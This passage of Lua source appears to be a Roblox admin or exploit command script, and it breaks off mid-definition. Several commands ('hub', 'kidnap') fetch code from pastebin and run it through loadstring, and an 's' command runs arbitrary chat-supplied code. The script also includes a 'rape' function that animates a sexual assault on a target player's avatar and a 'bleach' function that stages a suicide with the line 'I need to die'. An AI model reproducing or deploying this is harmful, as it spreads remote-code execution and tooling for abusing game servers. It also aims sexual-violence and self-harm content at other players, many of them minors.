game:FindService('StarterGui'):SetCore('SendNotification', {
Title = player.Name,
Text = 'has joined the server.\n[AGE:
' ..player.AccountAge.. ']',
Icon = [[http://www.roblox.com/Thumbs/Avatar.ashx?
x=100&y=100&Format=Png&userName=]]..player.Name..[[&RAND]] ..
math.random(1,100000000),
Duration = 5,
})
elseif JLnotify == true and Nfriends == false then
game:FindService('StarterGui'):SetCore('SendNotification', {
Title = player.Name,
Text = 'has joined the server.\n[AGE:
' ..player.AccountAge.. ']',
Icon = [[http://www.roblox.com/Thumbs/Avatar.ashx?
x=100&y=100&Format=Png&userName=]]..player.Name..[[&RAND]] ..
math.random(1,100000000),
Duration = 5,
})
end
if slock == true and allowfriends == false then
player.CharacterAdded:connect(function()
spawn(function()
repeat wait() until player.Character
kickF(player)
end)
end)
elseif slock == true and allowfriends == true and not
player:IsFriendsWith(user.userId) then
spawn(function()
repeat wait() until player.Character
kickF(player)
end)
end
if FindTable(banT, player.userId) then
spawn(function()
repeat wait() until player.Character
Notify('Banned player, ' .. player.Name .. ' attempted to join')
kickF(player)
end)
end
if isagelocked == true and allowfriends == false and player.AccountAge <= agelock
then
spawn(function()
repeat wait() until player.Character
kickF(player)
end)
else
if isagelocked == true and allowfriends == true and not
player:IsFriendsWith(user.userId) and player.AccountAge <= agelock then
spawn(function()
repeat wait() until player.Character
kickF(player)
end)
end
end
end)
local customAlias = {}
local findCmd=function(cmd_name)
for i,v in pairs(cmds)do
if v.NAME:lower()==cmd_name:lower() or
std.inTable(v.ALIAS,cmd_name:lower()) then
return v
end
end
return customAlias[cmd_name:lower()]
end
local function splitString(str,delim)
local broken = {}
if delim == nil then delim = "," end
for w in string.gmatch(str,"[^"..delim.."]+") do
table.insert(broken,w)
end
return broken
end
local historyCount = 0
local cmdHistory = {}
lastBreakTime = 0
local function execCmd(cmdStr,speaker)
local rawCmdStr = cmdStr
cmdStr = string.gsub(cmdStr,"\\\\","%%BackSlash%%")
local commandsToRun = splitString(cmdStr,"\\")
for i,v in pairs(commandsToRun) do
v = string.gsub(v,"%%BackSlash%%","\\")
local x,y,num = v:find("^(%d+)%^")
local cmdDelay = 0
if num then
v = v:sub(y+1)
local x,y,del = v:find("^([%d%.]+)%^")
if del then
v = v:sub(y+1)
cmdDelay = tonumber(del) or 0
end
end
num = tonumber(num or 1)
local args = splitString(v,split)
local cmd = findCmd(args[1])
if cmd then
table.remove(args,1)
cargs = args
if speaker == gPlayers.LocalPlayer then
if cmdHistory[1] ~= rawCmdStr then
table.insert(cmdHistory,1,rawCmdStr) end
end
if #cmdHistory > 20 then table.remove(cmdHistory) end
local cmdStartTime = tick()
for rep = 1,num do
if lastBreakTime > cmdStartTime then break end
pcall(function()
cmd.FUNC(args, speaker)
end)
if cmdDelay ~= 0 then wait(cmdDelay) end
end
end
end
end
logsloaded = false
ChatLog = function(plr)
plr.Chatted:Connect(function(Message)
if logsloaded == true then
if whispersV == true and Message:lower():sub(1,2) == '/w' then
CreateLabel(plr.Name,Message)
elseif commandsV == true and isAdmin(plr) and Message:lower():sub(1,1) == cmdprefix
then
CreateLabel(plr.Name,Message)
elseif commandsV == true and isAdmin(plr) and Message:lower():sub(1,4) == '/e
'..cmdprefix then
CreateLabel(plr.Name,Message)
elseif chatsV == true and Message:lower():sub(1,2) ~= '/e' and
Message:lower():sub(1,2) ~= '/w' and Message:lower():sub(1,1) ~= cmdprefix then
CreateLabel(plr.Name,Message)
end end end) end
function do_exec(str, plr) if not isAdmin(plr) then return end str = str:gsub('/e
', '') local t = getprfx(str) if not t then return end str = str:sub(t[2]) if
t[1]=='exec' then exec(str) elseif t[1]=='cmd' then execCmd(str, plr) end end
for _, plr in pairs(gPlayers:GetChildren()) do
if plr.ClassName == "Player" then
updateevents(plr) ChatLog(plr) end end
_players.PlayerAdded:connect(function(player)
updateevents(player) ChatLog(player)
end)
_G.exec_cmd = execCmd
--gPlayers.LocalPlayer.Chatted:connect(doexec)
function GLS(lower, start) local AA = '' for i,v in pairs(cargs) do if i > start
then if AA ~= '' then AA = AA .. ' ' .. v else AA = AA .. v end end end if not
lower then return AA else return string.lower(AA) end end
local _char=function(plr_name)
for i,v in pairs(gPlayers:GetChildren())do
if v:IsA'Player'then
if v.Name==plr_name then return v.Character end
end
end
return
end
local _plr=function(plr_name)
for i,v in pairs(gPlayers:GetChildren())do
if v:IsA'Player'then
if v.Name==plr_name then return v end
end
end
return
end
function addcmd(name,desc,alias,func)
cmds[#cmds+1]=
{
NAME=name;
DESC=desc;
ALIAS=alias;
FUNC=func;
}
end
SPC = {'all', 'others', 'random', 'allies', 'enemies', 'team', 'nonteam',
'friends', 'nonfriends', 'admins', 'nonadmins','bacons'}
local SpecialPlayerCases = {
["all"] = function(speaker)return game:GetService("Players"):GetPlayers()
end,
["others"] = function(speaker)
local plrs = {}
for i,v in pairs(game:GetService("Players"):GetPlayers()) do
if v ~= speaker then
table.insert(plrs,v)
end
end
return plrs
end,
["me"] = function(speaker)return {speaker} end,
["#(%d+)"] = function(speaker,args,currentList)
local returns = {}
local randAmount = tonumber(args[1])
local players = {unpack(currentList)}
for i = 1,randAmount do
if #players == 0 then break end
local randIndex = math.random(1,#players)
table.insert(returns,players[randIndex])
table.remove(players,randIndex)
end
return returns
end,
["random"] = function(speaker,args,currentList)
local players = currentList
return {players[math.random(1,#players)]}
end,
["%%(.+)"] = function(speaker,args) -- This is team Ex:[;kill %green]
local returns = {}
local team = args[1]
for _,plr in pairs(game:GetService("Players"):GetPlayers()) do
if plr.Team and string.sub(string.lower(plr.Team.Name),1,#team)
== string.lower(team) then
table.insert(returns,plr)
end
end
return returns
end,
["allies"] = function(speaker)
local returns = {}
local team = speaker.Team
for _,plr in pairs(game:GetService("Players"):GetPlayers()) do
if plr.Team == team then
table.insert(returns,plr)
end
end
return returns
end,
["enemies"] = function(speaker)
local returns = {}
local team = speaker.Team
for _,plr in pairs(game:GetService("Players"):GetPlayers()) do
if plr.Team ~= team then
table.insert(returns,plr)
end
end
return returns
end,
["team"] = function(speaker)
local returns = {}
local team = speaker.Team
for _,plr in pairs(game:GetService("Players"):GetPlayers()) do
if plr.Team == team then
table.insert(returns,plr)
end
end
return returns
end,
["nonteam"] = function(speaker)
local returns = {}
local team = speaker.Team
for _,plr in pairs(game:GetService("Players"):GetPlayers()) do
if plr.Team ~= team then
table.insert(returns,plr)
end
end
return returns
end,
["friends"] = function(speaker,args)
local returns = {}
for _,plr in pairs(game:GetService("Players"):GetPlayers()) do
if plr:IsFriendsWith(speaker.UserId) and plr ~= speaker then
table.insert(returns,plr)
end
end
return returns
end,
["nonfriends"] = function(speaker,args)
local returns = {}
for _,plr in pairs(game:GetService("Players"):GetPlayers()) do
if not plr:IsFriendsWith(speaker.UserId) and plr ~= speaker then
table.insert(returns,plr)
end
end
return returns
end,
["guests"] = function(speaker,args)
local returns = {}
for _,plr in pairs(game:GetService("Players"):GetPlayers()) do
if plr.Guest then
table.insert(returns,plr)
end
end
return returns
end,
["bacons"] = function(speaker,args)
local returns = {}
for _,plr in pairs(game:GetService("Players"):GetPlayers()) do
if plr.Character:FindFirstChild('Pal Hair') or
plr.Character:FindFirstChild('Kate Hair') then
table.insert(returns,plr)
end
end
return returns
end,
["admins"] = function(speaker)
local returns = {}
for _,plr in pairs(game:GetService("Players"):GetPlayers()) do
if isAdmin(plr) then
table.insert(returns,plr)
end
end
return returns
end,
["nonadmins"] = function(speaker)
local returns = {}
for _,plr in pairs(game:GetService("Players"):GetPlayers()) do
if not isAdmin(plr) then
table.insert(returns,plr)
end
end
return returns
end,
["age(%d+)"] = function(speaker,args)
local returns = {}
local age = tonumber(args[1])
if not age == nil then return end
for _,plr in pairs(game:GetService("Players"):GetPlayers()) do
if plr.AccountAge <= age then
table.insert(returns,plr)
end
end
return returns
end,
["rad(%d+)"] = function(speaker,args)
local returns = {}
local radius = tonumber(args[1])
local speakerChar = speaker.Character
if not speakerChar or not
speakerChar:FindFirstChild("HumanoidRootPart") then return end
for _,plr in pairs(game:GetService("Players"):GetPlayers()) do
if plr.Character and
plr.Character:FindFirstChild("HumanoidRootPart") then
local magnitude =
(plr.Character:FindFirstChild("HumanoidRootPart").Position-
speakerChar.HumanoidRootPart.Position).magnitude
if magnitude <= radius then table.insert(returns,plr) end
end
end
return returns
end
}
local function toTokens(str)
local tokens = {}
for op,name in string.gmatch(str,"([+-])([^+-]+)") do
table.insert(tokens,{Operator = op,Name = name})
end
return tokens
end
local function onlyIncludeInTable(tab,matches)
local matchTable = {}
local resultTable = {}
for i,v in pairs(matches) do matchTable[v.Name] = true end
for i,v in pairs(tab) do if matchTable[v.Name] then
table.insert(resultTable,v) end end
return resultTable
end
local function removeTableMatches(tab,matches)
local matchTable = {}
local resultTable = {}
for i,v in pairs(matches) do matchTable[v.Name] = true end
for i,v in pairs(tab) do if not matchTable[v.Name] then
table.insert(resultTable,v) end end
return resultTable
end
local function getPlayersByName(name)
local found = {}
for i,v in pairs(game:GetService("Players"):GetChildren()) do
if string.sub(string.lower(v.Name),1,#name) == string.lower(name) then
table.insert(found,v)
end
end
return found
end
local function getPlayer(list,speaker)
if list == nil then return {speaker.Name} end
local nameList = splitString(list,",")

local foundList = {}

for _,name in pairs(nameList) do


if string.sub(name,1,1) ~= "+" and string.sub(name,1,1) ~= "-" then
name = "+"..name end
local tokens = toTokens(name)
local initialPlayers = game:GetService("Players"):GetPlayers()

for i,v in pairs(tokens) do


if v.Operator == "+" then
local tokenContent = v.Name
local foundCase = false
for regex,case in pairs(SpecialPlayerCases) do
local matches =
{string.match(tokenContent,"^"..regex.."$")}
if #matches > 0 then
foundCase = true
initialPlayers =
onlyIncludeInTable(initialPlayers,case(speaker,matches,initialPlayers))
end
end
if not foundCase then
initialPlayers =
onlyIncludeInTable(initialPlayers,getPlayersByName(tokenContent))
end
else
local tokenContent = v.Name
local foundCase = false
for regex,case in pairs(SpecialPlayerCases) do
local matches =
{string.match(tokenContent,"^"..regex.."$")}
if #matches > 0 then
foundCase = true
initialPlayers =
removeTableMatches(initialPlayers,case(speaker,matches,initialPlayers))
end
end
if not foundCase then
initialPlayers =
removeTableMatches(initialPlayers,getPlayersByName(tokenContent))
end
end
end

for i,v in pairs(initialPlayers) do table.insert(foundList,v) end


end

local foundNames = {}
for i,v in pairs(foundList) do table.insert(foundNames,v.Name) end

return foundNames
end
function fWeld(zName, zParent, zPart0, zPart1, zCoco, A, B, C, D, E, F)
local funcw = Instance.new('Weld') funcw.Name = zName funcw.Parent = zParent
funcw.Part0 = zPart0 funcw.Part1 = zPart1
if (zCoco) then
funcw.C0 = CFrame.new(A, B, C) * CFrame.fromEulerAnglesXYZ(D, E, F)
else
funcw.C1 = CFrame.new(A, B, C) * CFrame.fromEulerAnglesXYZ(D, E, F)
end
return funcw
end
function _G.msg(txt)
spawn(function()
msghook()
if MSGhook == true then
workspace.IYmessage.Text = ''
wait(0.1)
local b = Instance.new("BlurEffect", LightingService)
b.Name = "IYmblur"
b.Size = 18
workspace.IYmessage.Text = txt
wait(Mseconds)
b:Destroy()
if workspace.IYmessage.Text == txt then
workspace.IYmessage.Text = '' end
elseif MSGhook == false then
execCmd("loadm")
repeat wait() until workspace:FindFirstChild("IYmessage")
workspace.IYmessage.Text = ''
wait(0.1)
local b = Instance.new("BlurEffect", LightingService)
b.Name = "IYmblur"
b.Size = 18
workspace.IYmessage.Text = txt
wait(Mseconds)
b:Destroy()
if workspace.IYmessage.Text == txt then
workspace.IYmessage.Text = '' end
end
end)
end
function bleach(plr)
spawn(function()
local char = plr.Character
local hit1 = Instance.new("Sound", workspace)
hit1.SoundId = "http://roblox.com/asset?id=145486953"
local hit = Instance.new("Sound", workspace)
hit.SoundId = "http://roblox.com/asset?id=178646271"
local Bleach = Instance.new("Part", char["Left Arm"])
Bleach.CanCollide = false
local Mesh = Instance.new("SpecialMesh", Bleach)
Mesh.MeshId = "http://roblox.com/asset?id=483388971"
Mesh.Scale = Vector3.new(0.005, 0.005, 0.005)
Mesh.TextureId = "http://roblox.com/asset?id=520016684"
local Handy = Instance.new("Weld", Bleach)
Handy.Part0 = Bleach
Handy.Part1 = char["Left Arm"]
Handy.C0 = CFrame.new(0.5,1.8,0)
Handy.C1 = CFrame.Angles(0,4,1)
local drink = Instance.new("Sound", char.Head)
drink.SoundId = "http://roblox.com/asset?id=10722059"
wait(3)
game.Chat:Chat(char.Head,"I need to die","Red")
for i = 1,10 do
wait()
char.HumanoidRootPart.RootJoint.C0 = char.HumanoidRootPart.RootJoint.C0
* CFrame.Angles(-0.018,0,0)
Handy.C0 = Handy.C0 * CFrame.new(-0.05,-0.07,0.09)
Handy.C0 = Handy.C0 * CFrame.Angles(0.12,0,0)
char.Torso["Left Shoulder"].C0 = char.Torso["Left Shoulder"].C0 *
CFrame.Angles(0.2,0,-0.1)
end
drink:Play()
wait(3.4)
drink:Stop()
for i = 1,10 do
wait()
char.HumanoidRootPart.RootJoint.C0 = char.HumanoidRootPart.RootJoint.C0
* CFrame.new(0,-0.50,0)
char.HumanoidRootPart.RootJoint.C0 = char.HumanoidRootPart.RootJoint.C0
* CFrame.Angles(0.175,0,0)
Handy.C0 = Handy.C0 * CFrame.new(0.05,0.07,-0.09)
Handy.C0 = Handy.C0 * CFrame.Angles(-0.1,0,0)
char.Torso["Left Shoulder"].C0 = char.Torso["Left Shoulder"].C0 *
CFrame.Angles(-0.15,-0.04,0.2)
char.Torso["Right Shoulder"].C0 = char.Torso["Right Shoulder"].C0 *
CFrame.Angles(-0.05,0.03,0)
char.Torso["Right Hip"].C0 = char.Torso["Right Hip"].C0 *
CFrame.Angles(-0.02,0,0)
char.Torso["Left Hip"].C0 = char.Torso["Left Hip"].C0 * CFrame.Angles(-
0.01,0,0)
end
wait(0.01)
char.Torso.Anchored = true
char["Left Arm"].Anchored = true
char["Right Arm"].Anchored = true
char["Left Leg"].Anchored = true
char["Right Leg"].Anchored = true
char.Head.Anchored = true
hit:Play()
hit1:Play()
wait(4)
local bl00d = Instance.new("Part", char.Head)
bl00d.Size = Vector3.new(0.1,0.1,0.1)
bl00d.Rotation = Vector3.new(0,0,-90)
bl00d.CanCollide = false
bl00d.Anchored = true
bl00d.BrickColor = BrickColor.new("Maroon")
bl00d.Position = char.Head.Position
bl00d.CFrame = bl00d.CFrame * CFrame.new(0.43,-0.65,0)
bl00d.Shape = "Cylinder"
bl00d.Material = "Pebble"
for i = 1,100 do
wait()
bl00d.Size = bl00d.Size + Vector3.new(0,0.05,0.05)
end
wait(1)
char.Humanoid.Health = 0
end)
end
function rape(victim, speaker) -- from rocky2u cmdscript
spawn(function()
local P1 = game:GetService("Players")[speaker].Character.Torso
local V1 = game:GetService("Players")[victim].Character.Torso
V1.Parent.Humanoid.PlatformStand = true
P1['Left Shoulder']:destroy() local LA1 = Instance.new('Weld', P1)
LA1.Part0 = P1 LA1.Part1 = P1.Parent['Left Arm'] LA1.C0 = CFrame.new(-1.5, 0, 0)
LA1.Name = 'Left Shoulder'
P1['Right Shoulder']:destroy() local RS1 = Instance.new('Weld', P1)
RS1.Part0 = P1 RS1.Part1 = P1.Parent['Right Arm'] RS1.C0 = CFrame.new(1.5, 0, 0)
RS1.Name = 'Right Shoulder'
V1['Left Shoulder']:destroy() local LS2 = Instance.new('Weld', V1)
LS2.Part0 = V1 LS2.Part1 = V1.Parent['Left Arm'] LS2.C0 = CFrame.new(-1.5, 0, 0)
LS2.Name = 'Left Shoulder'
V1['Right Shoulder']:destroy() local RS2 = Instance.new('Weld', V1)
RS2.Part0 = V1 RS2.Part1 = V1.Parent['Right Arm'] RS2.C0 = CFrame.new(1.5, 0, 0)
RS2.Name = 'Right Shoulder'
V1['Left Hip']:destroy() local LH2 = Instance.new('Weld', V1) LH2.Part0
= V1 LH2.Part1 = V1.Parent['Left Leg'] LH2.C0 = CFrame.new(-0.5, -2, 0) LH2.Name =
'Left Hip'
V1['Right Hip']:destroy() local RH2 = Instance.new('Weld', V1)
RH2.Part0 = V1 RH2.Part1 = V1.Parent['Right Leg'] RH2.C0 = CFrame.new(0.5, -2, 0)
RH2.Name = 'Right Hip'
local D = Instance.new('Part', P1) D.TopSurface = 0 D.BottomSurface = 0
D.CanCollide = false D.BrickColor = BrickColor.new('Pastel brown') D.Shape = 'Ball'
D.Size = Vector3.new(1, 1, 1)
local DM1 = Instance.new('SpecialMesh', D) DM1.MeshType = 'Sphere'
DM1.Scale = Vector3.new(0.4, 0.4, 0.4)
fWeld('weld', P1, P1, D, true, -0.2, -1.3, -0.6, 0, 0, 0)
local D2 = D:Clone() D2.Parent = P1
fWeld('weld', P1, P1, D2, true, 0.2, -1.3, -0.6, 0, 0, 0)
local C = Instance.new('Part', P1) C.TopSurface = 0 C.BottomSurface = 0
C.CanCollide = false C.BrickColor = BrickColor.new('Pastel brown') C.Size =
Vector3.new(0.4, 1.3, 0.4)
fWeld('weld', P1, P1, C, true, 0, -1, -0.52 + (-C.Size.y / 2),
math.rad(-80), 0, 0)
local C2 = D:Clone() C2.BrickColor = BrickColor.new('Pink')
C2.Mesh.Scale = Vector3.new(0.4, 0.62, 0.4) C2.Parent = P1
fWeld('weld', C, C, C2, true, 0, 0 + (C.Size.y / 2), 0, math.rad(-10),
0, 0)
local CM = Instance.new('CylinderMesh', C)
local BL = Instance.new('Part', V1) BL.TopSurface = 0 BL.BottomSurface
= 0 BL.CanCollide = false BL.BrickColor = BrickColor.new('Pastel brown') BL.Shape =
'Ball' BL.Size = Vector3.new(1, 1, 1)
local DM2 = Instance.new('SpecialMesh', BL) DM2.MeshType = 'Sphere'
DM2.Scale = Vector3.new(1.2, 1.2, 1.2)
fWeld('weld', V1, V1, BL, true, -0.5, 0.5, -0.6, 0, 0, 0)
local BR = Instance.new('Part', V1) BR.TopSurface = 0 BR.BottomSurface
= 0 BR.CanCollide = false BR.BrickColor = BrickColor.new('Pastel brown') BR.Shape =
'Ball' BR.Size = Vector3.new(1, 1, 1)
local DM3 = Instance.new('SpecialMesh', BR) DM3.MeshType = 'Sphere'
DM3.Scale = Vector3.new(1.2, 1.2, 1.2)
fWeld('weld', V1, V1, BR, true, 0.5, 0.5, -0.6, 0, 0, 0)
local BLN = Instance.new('Part', V1) BLN.TopSurface = 0
BLN.BottomSurface = 0 BLN.CanCollide = false BLN.BrickColor =
BrickColor.new('Pink') BLN.Shape = 'Ball' BLN.Size = Vector3.new(1, 1, 1)
local DM4 = Instance.new('SpecialMesh', BLN) DM4.MeshType = 'Sphere'
DM4.Scale = Vector3.new(0.2, 0.2, 0.2)
fWeld('weld', V1, V1, BLN, true, -0.5, 0.5, -1.2, 0, 0, 0)
local BRN = Instance.new('Part', V1) BRN.TopSurface = 0
BRN.BottomSurface = 0 BRN.CanCollide = false BRN.BrickColor =
BrickColor.new('Pink') BRN.Shape = 'Ball' BRN.Size = Vector3.new(1, 1, 1)
local DM5 = Instance.new('SpecialMesh', BRN) DM5.MeshType = 'Sphere'
DM5.Scale = Vector3.new(0.2, 0.2, 0.2)
fWeld('weld', V1, V1, BRN, true, 0.5, 0.5, -1.2, 0, 0, 0)
LH2.C1 = CFrame.new(0.2, 1.6, 0.4) * CFrame.Angles(3.9, -0.4, 0) RH2.C1
= CFrame.new(-0.2, 1.6, 0.4) * CFrame.Angles(3.9, 0.4, 0)
LS2.C1 = CFrame.new(-0.2, 0.9, 0.6) * CFrame.Angles(3.9, -0.2, 0)
RS2.C1 = CFrame.new(0.2, 0.9, 0.6) * CFrame.Angles(3.9, 0.2, 0)
LA1.C1 = CFrame.new(-0.5, 0.7, 0) * CFrame.Angles(-0.9, -0.4, 0) RS1.C1
= CFrame.new(0.5, 0.7, 0) * CFrame.Angles(-0.9, 0.4, 0)
if P1:FindFirstChild('weldx') then P1.weldx:destroy() end
WE = fWeld('weldx', P1, P1, V1, true, 0, -0.9, -1.3, math.rad(-90), 0,
0)
local N = V1.Neck N.C0 = CFrame.new(0, 1.5, 0) *
CFrame.Angles(math.rad(-210), math.rad(180), 0)
end)
spawn(function() while wait() do for i = 1, 6 do WE.C1 = WE.C1 *
CFrame.new(0, -0.3, 0) end for i = 1, 6 do WE.C1 = WE.C1 * CFrame.new(0, 0.3, 0)
end end end)
end

addcmd('addalias','Adds an alias to a command',{},


function(args,speaker)
if #args < 2 then return end
local cmd = string.lower(args[1])
local alias = string.lower(args[2])
for i,v in pairs(cmds) do
if v.NAME:lower()==cmd or std.inTable(v.ALIAS,cmd) then
customAlias[alias] = v
if not aliasSave or aliasSave == nil then aliasSave = {} end
aliasSave[#aliasSave + 1] = {CMD = cmd, ALIAS = alias}
Notify("Added "..alias.." as an alias to "..cmd)
updatefile()
updatealiases()
break
end
end
end)

addcmd('877241loadalias','dab',{},
function(args,speaker)
if #args < 2 then return end
local cmd = string.lower(args[1])
local alias = string.lower(args[2])
for i,v in pairs(cmds) do
if v.NAME:lower()==cmd or std.inTable(v.ALIAS,cmd) then
customAlias[alias] = v
updatealiases()
break
end
end
end)
addcmd('removealias','Removes a custom alias',{},
function(args,speaker)
if #args < 1 then return end
local alias = string.lower(args[1])
if customAlias[alias] then
local cmd = customAlias[alias].NAME
customAlias[alias] = nil
for i,v in pairs(aliasSave) do
if v.ALIAS == tostring(alias) then
table.remove(aliasSave, i)
end end
Notify("Removed the alias "..alias.." from "..cmd)
updatefile()
updatealiases()
end
end)

addcmd('clraliases','Removes all custom alias',{},


function(args,speaker)
customAlias = {}
aliasSave ={}
updatefile()
updatealiases()
Notify('Removed all aliases')
end)

addcmd('s','runs a script in the chat or cmdbar',{'script'},


function(args, speaker)
loadstring(tostring(GLS(false, 0)))()
end)

function hub()
if not game.CoreGui:FindFirstChild('ScriptHub') then
loadstring(game:HttpGet(('https://pastebin.com/raw/VvDQgSZT'),true))() end end
addcmd('hub','opens script hub',{'scripts'},
function(args, speaker)
if speaker.userId ~= LP.userId then
lponly(speaker) else
hub()
end end)

addcmd('ff','gives ff to player',{},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
local pchar=_char(v)
Instance.new("ForceField", pchar)
end
end)

addcmd('maxhealth','sets a limit of health to player',{},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
local pchar=_char(v)
pchar.Humanoid.MaxHealth = args[2]
end
end)
addcmd('sethealth','sets the health of a player',{},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
local pchar=_char(v)
pchar.Humanoid.Health = args[2]
end
end)

addcmd('breakloops','stops any cmd loops',{'break'},


function(args, speaker)
lastBreakTime = tick()
end)

addcmd('invisibleff','gives invisible ff to player',{'invisff'},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
local pchar=_char(v)
local invisff = Instance.new("ForceField", pchar)
invisff.Visible = false
end
end)

addcmd('rocket','attaches a player to a rocket',{'missile'},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
local pchar=_char(v)
spawn(function()
local m = missile:Clone()
m.Parent = workspace
local W = Instance.new('Weld', m)
W.Part0 = W.Parent
W.Part1 = pchar.HumanoidRootPart
W.C1 = CFrame.new(0, 0.5, 1)
m.force.Force = Vector3.new(0, 15000, 0)
wait(0.01)
pchar.HumanoidRootPart.CFrame = pchar.HumanoidRootPart.CFrame *
CFrame.new(0, 5, 0)
wait(5)
Instance.new('Explosion', m).Position = m.Position
wait(0.01)
pchar:BreakJoints()
wait(1)
m:destroy()
end)
end
end)

addcmd('kidnap', 'Kidnaps the player in a candy van',{}, function(args, speaker)


local players = getPlayer(args[1], speaker)
if not game:GetService("CoreGui"):FindFirstChild('VanEvent') then
loadstring(game:HttpGet(('https://pastebin.com/raw/NbY247zv'),true))()
end
for i,v in pairs(players) do
game:GetService("CoreGui").VanEvent:Fire(gPlayers[v])
end
end)

addcmd('rejoin','makes you rejoin the game',{'rj'},


function(args, speaker)
if speaker.userId ~= LP.userId then
lponly(speaker)
else
game:GetService('TeleportService'):Teleport(game.PlaceId)
end
end)

addcmd('unff', 'takes away ff from player',{'noff'},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
local pchar=_char(v)
for j,v1 in pairs(pchar:GetChildren()) do
if v1:IsA("ForceField") then
v1:Destroy()
end
end
end
end)

addcmd('flashlight', 'gives a player a flashlight',{},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
spawn(function()
local flashlight =
game:GetService("InsertService"):LoadLocalAsset("rbxassetid://01679418710")
flashlight.Parent = gPlayers[v].Backpack
flashlight.Name = "IYflashlight"
end)
end
end)

addcmd('car', 'inserts a car',{'vehicle'},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
spawn(function()
local pchar=_char(v)
local model =
game:GetService("InsertService"):LoadLocalAsset("rbxassetid://01172688590")
model.Parent = workspace
model:MakeJoints()
model:MoveTo(pchar.HumanoidRootPart.Position + Vector3.new(5, 5, 0))
model.Name = "IYcar" .. gPlayers[v].Name wait(0.2)
for _, child in pairs( model:GetChildren()) do
if child.ClassName == "Part" then
child.Anchored = true
wait(1)
child.Anchored = false
end end end) end end)

addcmd('uncar', 'removes a players car',{'unvehicle','nocar','novehicle'},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
for _, child in pairs( workspace:GetChildren()) do
if child.Name == "IYcar" .. gPlayers[v].Name then
child:Destroy()
end
end
end
end)

addcmd('team','team [plr] [team]',{},


function(args, speaker)
local players = getPlayer(args[1], speaker)
local teamname = nil
for i,v in pairs(players)do
for a,b in pairs(game.Teams:GetChildren()) do local L_name =
b.Name:lower() local F = L_name:find(GLS(true, 1)) if F == 1 then teamname = b end
end
_players[v].Team = teamname
end
end)

addcmd('maxzoom','maximum camera zoom',{},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
_players[v].CameraMaxZoomDistance = args[2]
end
end)

function spawnrain(mesh,texture)
spawn(function()
for i,v in pairs(gPlayers:GetChildren()) do
if v.Character ~= nil and v.Character:FindFirstChild('HumanoidRootPart') then
if raining == true then
local rain = Instance.new("Part",workspace)
rain.CanCollide = true
local m = Instance.new("SpecialMesh",rain)
m.MeshId = "http://www.roblox.com/asset/?id="..mesh
m.TextureId = "http://www.roblox.com/asset/?id="..texture
rain.CFrame = v.Character.HumanoidRootPart.CFrame + Vector3.new(math.random(-
250,250),100,math.random(-250,250))
wait(5) rain:Destroy()
end
end
end
end)
end

raining = false
addcmd('rain','make it rain a mesh',{},
function(args, speaker)
raining = true
repeat
wait(0.5)
spawnrain(args[1],args[2])
until raining == false
end)

addcmd('norain','make it rain a mesh',{'unrain'},


function(args, speaker)
raining = false
end)

local rad = math.rad


addcmd('earthquake','earthquake [power] [intensity]',{}, -- credit to DontAddMeh
function(args, speaker)
for i = 1,args[1] do
wait()
local function ear(instance)
for i,v in pairs(instance:GetChildren())do
if v:IsA("Part") then
if v.Size.x > 1 then
v.CFrame = CFrame.new(v.Position) * CFrame.Angles(rad(math.random(-
args[2],args[2])),rad(math.random(-args[2],args[2])),rad(math.random(-
args[2],args[2])))
end end ear(v) end end ear(workspace)
end
end)

addcmd('cape','Gives the target player(s) a cape',{},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
spawn(function()
if _char(v):FindFirstChild("Humanoid") then
local plr = _players[v]
repeat wait() until plr and plr.Character and
plr.Character:FindFirstChild("HumanoidRootPart")
local torso = plr.Character.HumanoidRootPart
local p = Instance.new("Part", torso.Parent) p.Name = "IYcape"
p.Anchored = false
p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0
if not args[2] then
p.Color = Color3.new(0,0,0)
p.Color = Color3.new(0,0,0) else
p.Color = Color3.fromRGB((args[2]),(args[3]),(args[4]))
p.Color = Color3.fromRGB((args[2]),(args[3]),(args[4])) end
p.formFactor = "Custom"
p.Size = Vector3.new(.2,.2,.2)
local msh = Instance.new("BlockMesh", p) msh.Scale =
Vector3.new(9,17.5,.5)
local motor1 = Instance.new("Motor", p)
motor1.Part0 = p
motor1.Part1 = torso
motor1.MaxVelocity = .01
motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
local wave = false
repeat wait(1/44)
local ang = 0.1
local oldmag = torso.Velocity.magnitude
local mv = .002
if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05
wave = false else wave = true end
ang = ang + math.min(torso.Velocity.magnitude/11, .5)
motor1.MaxVelocity =
math.min((torso.Velocity.magnitude/111), .04) + mv
motor1.DesiredAngle = -ang
if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then
motor1.MaxVelocity = .04 end
repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or
math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
if torso.Velocity.magnitude < .1 then wait(.1) end
until not p or p.Parent ~= torso.Parent
end
end)
end
end)

addcmd('uncape','Removes cape',{'nocape'},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
local pchar=_char(v)
for _, child in pairs( pchar:GetChildren()) do
if child.Name == "IYcape" then
child:Destroy() end end
end
end)

addcmd('spasm','makes someone c r a z y',{},


